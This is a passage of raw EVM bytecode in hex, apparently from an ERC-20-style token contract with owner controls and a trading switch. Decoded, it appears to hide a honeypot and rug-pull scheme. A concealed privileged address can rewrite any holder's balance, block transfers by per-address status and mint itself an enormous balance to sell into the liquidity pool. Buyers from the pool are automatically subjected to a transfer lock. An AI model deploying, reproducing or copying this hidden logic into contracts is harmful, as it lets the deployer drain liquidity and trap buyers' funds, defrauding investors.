b565b60405180910390f35b34801561038957600080fd5b506103a4600480360381019061039f9190613916565b610d56565b6040516103b1919061382e565b60405180910390f35b3480156103c657600080fd5b506103cf610d79565b6040516103dc9190613978565b60405180910390f35b3480156103f157600080fd5b5061040c60048036038101906104079190613993565b610d90565b005b34801561041a57600080fd5b50610435600480360381019061043091906139e6565b610efe565b60405161044291906138fb565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d91906137d3565b61108d565b60405161047f919061382e565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa91906137d3565b6110b8565b005b3480156104bd57600080fd5b506104c6611335565b6040516104d391906138fb565b60405180910390f35b3480156104e857600080fd5b506104f161133b565b6040516104fe91906138fb565b60405180910390f35b34801561051357600080fd5b5061052e600480360381019061052991906139e6565b611341565b005b34801561053c57600080fd5b50610557600480360381019061055291906139e6565b611507565b604051610564919061382e565b60405180910390f35b34801561057957600080fd5b50610582611527565b005b34801561059057600080fd5b506105ab60048036038101906105a691906139e6565b611635565b6040516105b891906138fb565b60405180910390f35b3480156105cd57600080fd5b506105d661167e565b005b3480156105e457600080fd5b506105ed6116ff565b6040516105fa91906138fb565b60405180910390f35b34801561060f57600080fd5b50610618611705565b60405161062591906138d1565b60405180910390f35b34801561063a57600080fd5b5061064361172e565b6040516106509190613709565b60405180910390f35b34801561066557600080fd5b50610680600480360381019061067b91906137d3565b6117c0565b60405161068d919061382e565b60405180910390f35b3480156106a257600080fd5b506106bd60048036038101906106b891906139e6565b611833565b6040516106ca91906138fb565b60405180910390f35b3480156106df57600080fd5b506106fa60048036038101906106f591906137d3565b61184b565b604051610707919061382e565b60405180910390f35b34801561071c57600080fd5b50610725611862565b6040516107329190613a72565b60405180910390f35b34801561074757600080fd5b50610762600480360381019061075d91906139e6565b611888565b60405161076f919061382e565b60405180910390f35b34801561078457600080fd5b5061078d6119fa565b005b34801561079b57600080fd5b506107a4611ce6565b6040516107b191906138d1565b60405180910390f35b3480156107c657600080fd5b506107cf611d0c565b6040516107dc91906138fb565b60405180910390f35b3480156107f157600080fd5b506107fa611d12565b60405161080791906138fb565b60405180910390f35b34801561081c57600080fd5b50610825611d18565b005b34801561083357600080fd5b5061084e60048036038101906108499190613a8d565b611d4e565b60405161085b91906138fb565b60405180910390f35b34801561087057600080fd5b50610879611dd5565b60405161088691906138fb565b60405180910390f35b34801561089b57600080fd5b506108a4611ddb565b6040516108b19190613aee565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc9190613a8d565b611e01565b005b3480156108ef57600080fd5b5061090a600480360381019061090591906139e6565b612089565b005b34801561091857600080fd5b50610921612179565b60405161092e91906138fb565b60405180910390f35b34801561094357600080fd5b5061094c61217f565b60405161095991906138d1565b60405180910390f35b34801561096e57600080fd5b50610989600480360381019061098491906137d3565b6121a5565b005b34801561099757600080fd5b506109a06122ca565b6040516109ad919061382e565b60405180910390f35b6060600780546109c590613b38565b80601f01602080910402602001604051908101604052809291908181526020018280546109f190613b38565b8015610a3e5780601f10610a1357610100808354040283529160200191610a3e565b820191906000526020600020905b815481529060010190602001808311610a2157829003601f168201915b5050505050905090565b6000610a553384846122dd565b6001905092915050565b610a8b33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b610a9d30610a9833611635565b61184b565b50610ad330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ace30611635565b6122dd565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b1c30611635565b600080336104b042610b2e9190613b98565b6040518863ffffffff1660e01b8152600401610b4f96959493929190613c07565b60606040518083038185885af1158015610b6d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b929190613c7d565b505050565b610bc333600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b60048160ff1610610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090613d1c565b60405180910390fd5b60028160ff1603610cc3576002601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061012c42610c7b9190613b98565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600654905090565b6000610d638433846124e3565b610d6e848484612578565b600190509392505050565b6000600960009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610daf611705565b73ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90613d88565b60405180910390fd5b600960019054906101000a900460ff1615610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c90613df4565b60405180910390fd5b82600c8190555082600d8190555081600654610e719190613e43565b600e8190555081600654610e859190613e43565b600f8190555080600b8190555043600a819055506001600960016101000a81548160ff0219169083151502179055507f8c780034bb0223aaf275f7b37b16f4c03e2a6aaf4329769ad1e9615bb2ef91be600a54600b54600c54600d54604051610ef19493929190613e74565b60405180910390a1505050565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610f70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f949190613f3b565b50915091508373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa15801561101d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110419190613fa3565b73ffffffffffffffffffffffffffffffffffffffff161461107257806dffffffffffffffffffffffffffff16611084565b816dffffffffffffffffffffffffffff165b92505050919050565b60006110ae33848461109f3388611d4e565b6110a99190613b98565b6122dd565b6001905092915050565b6110e433600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114a9061401c565b60405180910390fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508082111561122457600081836111ad919061403c565b905080600660008282546111c19190613b98565b9250508190555080601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112179190613b98565b9250508190555050611330565b8082101561132f576000828261123a919061403c565b905080601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b5906140bc565b60405180910390fd5b80601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461130d919061403c565b925050819055508060066000828254611326919061403c565b92505081905550505b5b505050565b60105481565b61012c81565b3373ffffffffffffffffffffffffffffffffffffffff16611360611705565b73ffffffffffffffffffffffffffffffffffffffff16146113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90613d88565b60405180910390fd5b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113f691906138d1565b602060405180830381865afa158015611413573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143791906140dc565b90506000811161147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390614155565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114a0611705565b836040518363ffffffff1660e01b81526004016114be929190614175565b6020604051808303816000875af11580156114dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150191906141ca565b50505050565b60136020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16611546611705565b73ffffffffffffffffffffffffffffffffffffffff161461159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159390613d88565b60405180910390fd5b6000479050600081116115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90614243565b60405180910390fd5b6115ec611705565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611631573d6000803e3d6000fd5b5050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661169d611705565b73ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613d88565b60405180910390fd5b6116fd600061304c565b565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461173d90613b38565b80601f016020809104026020016040519081016040528092919081815260200182805461176990613b38565b80156117b65780601f1061178b576101008083540402835291602001916117b6565b820191906000526020600020905b81548152906001019060200180831161179957829003601f168201915b5050505050905090565b6000806117cd3385611d4e565b905082811015611812576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611809906142d5565b60405180910390fd5b61182833858584611823919061403c565b6122dd565b600191505092915050565b60156020528060005260406000206000915090505481565b6000611858338484612578565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006003601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16148061193757506001601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b1561194557600190506119f5565b6002601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161480156119e25750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442105b156119f057600190506119f5565b600090505b919050565b611a2633600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b6000611a3130610efe565b90506000816dffffffffffffffffffffffffffff8016611a51919061403c565b9050611a5b613109565b611a6d30611a6833611635565b61184b565b50611aab30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166122dd565b6000600267ffffffffffffffff811115611ac857611ac76142f5565b5b604051908082528060200260200182016040528015611af65781602001602082028036833780820191505090505b5090503081600081518110611b0e57611b0d614324565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd99190613fa3565b81600181518110611bed57611bec614324565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173983600084336104b042611c789190613b98565b6040518663ffffffff1660e01b8152600401611c98959493929190614411565b6000604051808303816000875af1158015611cb7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611ce09190614584565b50505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b600d5481565b611d4433600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b611d4c613109565b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e2d33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ec45781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f579190613fa3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b8152600401611f919291906145cd565b602060405180830381865afa158015611fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd29190613fa3565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90614642565b60405180910390fd5b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b3373ffffffffffffffffffffffffffffffffffffffff166120a8611705565b73ffffffffffffffffffffffffffffffffffffffff16146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590613d88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361216d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612164906146d4565b60405180910390fd5b6121768161304c565b50565b600f5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121d133600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379061401c565b60405180910390fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808211156122a6576122a183828461229c919061403c565b613171565b6122c5565b808210156122c4576122c38383836122be919061403c565b6132b9565b5b5b505050565b600960019054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156123475750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612386576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237d9061401c565b60405180910390fd5b80601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161246491906138fb565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d690614766565b60405180910390fd5b5050565b60006124ef8484611d4e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612572578181101561255b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612552906147d2565b60405180910390fd5b6125718484848461256c919061403c565b6122dd565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125e25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612621576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126189061401c565b60405180910390fd5b6003601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614806126ce57506003601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b8061272857506001601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b1561273257600080fd5b6002601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff160361286557601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561280b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128029061483e565b60405180910390fd5b6000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129095750601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156129215750600960019054906101000a900460ff165b15612b4e57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a1d57600e5481111580156129d95750600f5481601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d69190613b98565b11155b612a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0f906148aa565b60405180910390fd5b612b4d565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612abc57600e54811115612ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aae906148aa565b60405180910390fd5b612b4c565b600f5481601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0a9190613b98565b1115612b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4290614916565b60405180910390fd5b5b5b5b6000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bcc906140bc565b60405180910390fd5b818103601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000829050600960019054906101000a900460ff168015612c865750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cdc5750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d8d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480612d8c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b5b15612f88576000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603612e0a576064600c5485612df99190614936565b612e039190613e43565b9050612eb3565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612eb257600b54600a54612e6f9190613b98565b4311612e94576064600d5485612e859190614936565b612e8f9190613e43565b612eaf565b606460105485612ea49190614936565b612eae9190613e43565b5b90505b5b6000811115612f86578084612ec8919061403c565b915080601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f199190613b98565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f7d91906138fb565b60405180910390a35b505b80601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161303291906138fb565b60405180910390a3613045858583613479565b5050505050565b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6dffffffffffffffffffffffffffff8016601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131689190613b98565b92505081905550565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036131e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d79061401c565b60405180910390fd5b80600660008282546131f29190613b98565b9250508190555080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132489190613b98565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132ad91906138fb565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161331f9061401c565b60405180910390fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156133af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133a6906149c4565b60405180910390fd5b818103601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160066000828254613407919061403c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161346c91906138fb565b60405180910390a3505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156135035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561350f5750600081115b801561356a57506000601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16145b80156135c45750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613674576002601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061012c426136309190613b98565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156136b3578082015181840152602081019050613698565b60008484015250505050565b6000601f19601f8301169050919050565b60006136db82613679565b6136e58185613684565b93506136f5818560208601613695565b6136fe816136bf565b840191505092915050565b6000602082019050818103600083015261372381846136d0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061376a8261373f565b9050919050565b61377a8161375f565b811461378557600080fd5b50565b60008135905061379781613771565b92915050565b6000819050919050565b6137b08161379d565b81146137bb57600080fd5b50565b6000813590506137cd816137a7565b92915050565b600080604083850312156137ea576137e9613735565b5b60006137f885828601613788565b9250506020613809858286016137be565b9150509250929050565b60008115159050919050565b61382881613813565b82525050565b6000602082019050613843600083018461381f565b92915050565b600060ff82169050919050565b61385f81613849565b811461386a57600080fd5b50565b60008135905061387c81613856565b92915050565b6000806040838503121561389957613898613735565b5b60006138a785828601613788565b92505060206138b88582860161386d565b9150509250929050565b6138cb8161375f565b82525050565b60006020820190506138e660008301846138c2565b92915050565b6138f58161379d565b82525050565b600060208201905061391060008301846138ec565b92915050565b60008060006060848603121561392f5761392e613735565b5b600061393d86828701613788565b935050602061394e86828701613788565b925050604061395f868287016137be565b9150509250925092565b61397281613849565b82525050565b600060208201905061398d6000830184613969565b92915050565b6000806000606084860312156139ac576139ab613735565b5b60006139ba868287016137be565b93505060206139cb868287016137be565b92505060406139dc868287016137be565b9150509250925092565b6000602082840312156139fc576139fb613735565b5b6000613a0a84828501613788565b91505092915050565b6000819050919050565b6000613a38613a33613a2e8461373f565b613a13565b61373f565b9050919050565b6000613a4a82613a1d565b9050919050565b6000613a5c82613a3f565b9050919050565b613a6c81613a51565b82525050565b6000602082019050613a876000830184613a63565b92915050565b60008060408385031215613aa457613aa3613735565b5b6000613ab285828601613788565b9250506020613ac385828601613788565b9150509250929050565b6000613ad882613a3f565b9050919050565b613ae881613acd565b82525050565b6000602082019050613b036000830184613adf565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613b5057607f821691505b602082108103613b6357613b62613b09565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ba38261379d565b9150613bae8361379d565b9250828201905080821115613bc657613bc5613b69565b5b92915050565b6000819050919050565b6000613bf1613bec613be784613bcc565b613a13565b61379d565b9050919050565b613c0181613bd6565b82525050565b600060c082019050613c1c60008301896138c2565b613c2960208301886138ec565b613c366040830187613bf8565b613c436060830186613bf8565b613c5060808301856138c2565b613c5d60a08301846138ec565b979650505050505050565b600081519050613c77816137a7565b92915050565b600080600060608486031215613c9657613c95613735565b5b6000613ca486828701613c68565b9350506020613cb586828701613c68565b9250506040613cc686828701613c68565b9150509250925092565b7f53746174757320302e2e33000000000000000000000000000000000000000000600082015250565b6000613d06600b83613684565b9150613d1182613cd0565b602082019050919050565b60006020820190508181036000830152613d3581613cf9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613d72602083613684565b9150613d7d82613d3c565b602082019050919050565b60006020820190508181036000830152613da181613d65565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613dde601783613684565b9150613de982613da8565b602082019050919050565b60006020820190508181036000830152613e0d81613dd1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e4e8261379d565b9150613e598361379d565b925082613e6957613e68613e14565b5b828204905092915050565b6000608082019050613e8960008301876138ec565b613e9660208301866138ec565b613ea360408301856138ec565b613eb060608301846138ec565b95945050505050565b60006dffffffffffffffffffffffffffff82169050919050565b613edc81613eb9565b8114613ee757600080fd5b50565b600081519050613ef981613ed3565b92915050565b600063ffffffff82169050919050565b613f1881613eff565b8114613f2357600080fd5b50565b600081519050613f3581613f0f565b92915050565b600080600060608486031215613f5457613f53613735565b5b6000613f6286828701613eea565b9350506020613f7386828701613eea565b9250506040613f8486828701613f26565b9150509250925092565b600081519050613f9d81613771565b92915050565b600060208284031215613fb957613fb8613735565b5b6000613fc784828501613f8e565b91505092915050565b7f5a65726f20616464726573730000000000000000000000000000000000000000600082015250565b6000614006600c83613684565b915061401182613fd0565b602082019050919050565b6000602082019050818103600083015261403581613ff9565b9050919050565b60006140478261379d565b91506140528361379d565b925082820390508181111561406a57614069613b69565b5b92915050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006140a6601483613684565b91506140b182614070565b602082019050919050565b600060208201905081810360008301526140d581614099565b9050919050565b6000602082840312156140f2576140f1613735565b5b600061410084828501613c68565b91505092915050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061413f600983613684565b915061414a82614109565b602082019050919050565b6000602082019050818103600083015261416e81614132565b9050919050565b600060408201905061418a60008301856138c2565b61419760208301846138ec565b9392505050565b6141a781613813565b81146141b257600080fd5b50565b6000815190506141c48161419e565b92915050565b6000602082840312156141e0576141df613735565b5b60006141ee848285016141b5565b91505092915050565b7f4e6f206e61746976652066756e64730000000000000000000000000000000000600082015250565b600061422d600f83613684565b9150614238826141f7565b602082019050919050565b6000602082019050818103600083015261425c81614220565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006142bf602583613684565b91506142ca82614263565b604082019050919050565b600060208201905081810360008301526142ee816142b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6143888161375f565b82525050565b600061439a838361437f565b60208301905092915050565b6000602082019050919050565b60006143be82614353565b6143c8818561435e565b93506143d38361436f565b8060005b838110156144045781516143eb888261438e565b97506143f6836143a6565b9250506001810190506143d7565b5085935050505092915050565b600060a08201905061442660008301886138ec565b6144336020830187613bf8565b818103604083015261444581866143b3565b905061445460608301856138c2565b61446160808301846138ec565b9695505050505050565b600080fd5